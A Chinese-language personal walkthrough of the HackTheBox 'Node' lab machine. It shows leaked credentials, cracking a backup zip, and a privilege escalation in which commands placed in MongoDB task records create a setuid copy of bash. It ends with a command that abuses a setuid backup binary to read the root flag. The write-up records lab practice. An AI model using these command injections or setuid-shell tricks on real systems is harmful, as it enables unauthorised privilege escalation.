学习资料 https://rastating.github.io/hackthebox-node-walkthrough/
扫描 22 /tcp open ssh OpenSSH 7 .2 p2 Ubuntu 4 ubuntu2.2 (Ubuntu Linux; protocol 2 .0 )3000 /tcp open http Node.js Express framework
web 找到了用户名密码,还蛮顺利的==
info1:myP14ceAdm1nAcc0uNT/manchester tom/spongebob mark/snowflake rastating/解密失败
通过admin登陆 面板上,可以下载一个backup文件。 打开一看,base64解码一下。 解码后,发现很多乱码,然后夹杂着路径。因为有明文路径,说明base64解码是成功的。
备份文件分析 写个脚本,提取出路径,并分析。路径共有1726行
分析的时候发现不对,然后再把路径去重一下。路径变为863行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import rewith open ("new.txt" ,"r" ) as f: handle = f.read() myre = 'var[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]' result = re.findall(myre,handle) unique_path = []for i in result: if i not in unique_path: unique_path.append(i) print len (unique_path)with open ('foundend.txt' ,'a' ) as f1: for i in unique_path: f1.write(i+'\r\n' )
提取数据库文件 curl -o a.html http://192.168.1.129:3000/node_modules/mongodb-core/conf.json 貌似要登陆
curl -o a.html -u myP14ceAdm1nAcc0uNT:manchester http://192.168.1.129:3000/node_modules/mongodb-core/conf.json
任何请求都会跳转到主页面,尝试禁用js,无效;带admin的cookie,无效;应该是服务器设置了参数。
误区 本来想要提取提取用户名密码,从数据库里,然后ssh登陆的。 但是一直跳转回主页面,纠结了有半小时多吧。
然后突然想起来,前面访问http://192.168.1.129:3000/api/users 是顺利的,并没有跳转到主页。所以。。。
发现是从var/www/myplace/static/从static作为网站根目录,而不是var/www目录,ORZ …
所以,例如目录:var/www/myplace/static/uploads/mark.jpg 应该访问:http://192.168.1.129:3000/uploads/mark.jpg
如果访问错误的链接,会跳转到主页。
没线索了 看看wp
unknow: Zip archive data, at least v1.0 to extract
base64加密之后,要用zip再解压一下。。。 我竟然用python提取出路径!!!虽然最近是在学编程,但这里真的不是在考编程啊!!!woc
zip有密码保护,破解zip密码详细请看另一篇 总之,破解密码之后,解压zip得到了源代码。························································
info2:SSH服务 mark:5AYRft73VtFpc84k
准备提权 通过源码泄露的口令,ssh登陆ssh mark@192.168.1.129
文件上传 将shell脚本传到目标机,检查下有无可利用的信息。linEnum.sh提权脚本
在生成的扫描报告中,发现本地开放27017端口。稍微搜索一下,就知道是mongodb服务。
在进程里发现tom用户运行了一个app.js,于是我们查看一下
代码分析 /var/scheduler/app.js 在这个js文件中,有一行
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler' ;
我们知道了,mongo数据库:
用户名:mark
密码:5AYRft73VtFpc84k
数据库端口:27017
数据库名:scheduler
通过数据库命令执行 mongo -p -u mark scheduler 输入info2的口令5AYRft73VtFpc84k。
以下命令,使得mark(普通用户)得到了tom(特权用户)的shell。
db.tasks.insert ( { "cmd" : "/bin/cp /bin/bash /tmp/tombash; chmod u+s /tmp/tombash;" } );
db.tasks.insert ( { cmd : "/bin/chown tom:admin /tmp/tombash; chmod g+s /tmp/tombash;" } );
exit 退出数据库 稍等一会儿,插入js文件被执行,tom这用户,被添加了admin组。
解释 mongo -p -u mark scheduler 以用户名mark连接scheduler数据库db.tasks.insert(xx) 将数据xx插入到scheduler这个数据库的tasks集合中。 在图片中,可以看到exec(doc.cmd); 于是我们插入的命令,就会被这个js脚本所执行。于是mark这个用户就加入了最高权限组admin。
root.txt 关于root的flag在这个文件/usr/local/bin/backup中,用file命令查看一下。backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped 貌似是一个可执行文件,执行一下,没有任何反应。 用vi命令查看一下
info3 得到了编码的信息。和之前一样,base64解码再zip解压。
^@Validated access token^@^@Ah-ah-ah ! You didn't say the magic word! ^@..^@^@^@Finished ! Encoded backup is below : UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2 rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7 WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53 a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8 MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4 vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8 xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
解压:unzip backup.zip
Archive : base.zip skipping : root.txt need PK compat. v5.1 (can do v4.6 )
并没有解压出来,于是: 发现需要密码,用之前的口令尝试一下啊,发现magicword可以解压成功。
然后就得到了root的flag……个P呀。
writeup看都看不懂为什么要这么做。总之加密解密这块,我的知识还很欠缺。总之,运行下面命令,就得到了root的flag。
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt | base64 -d > root.zip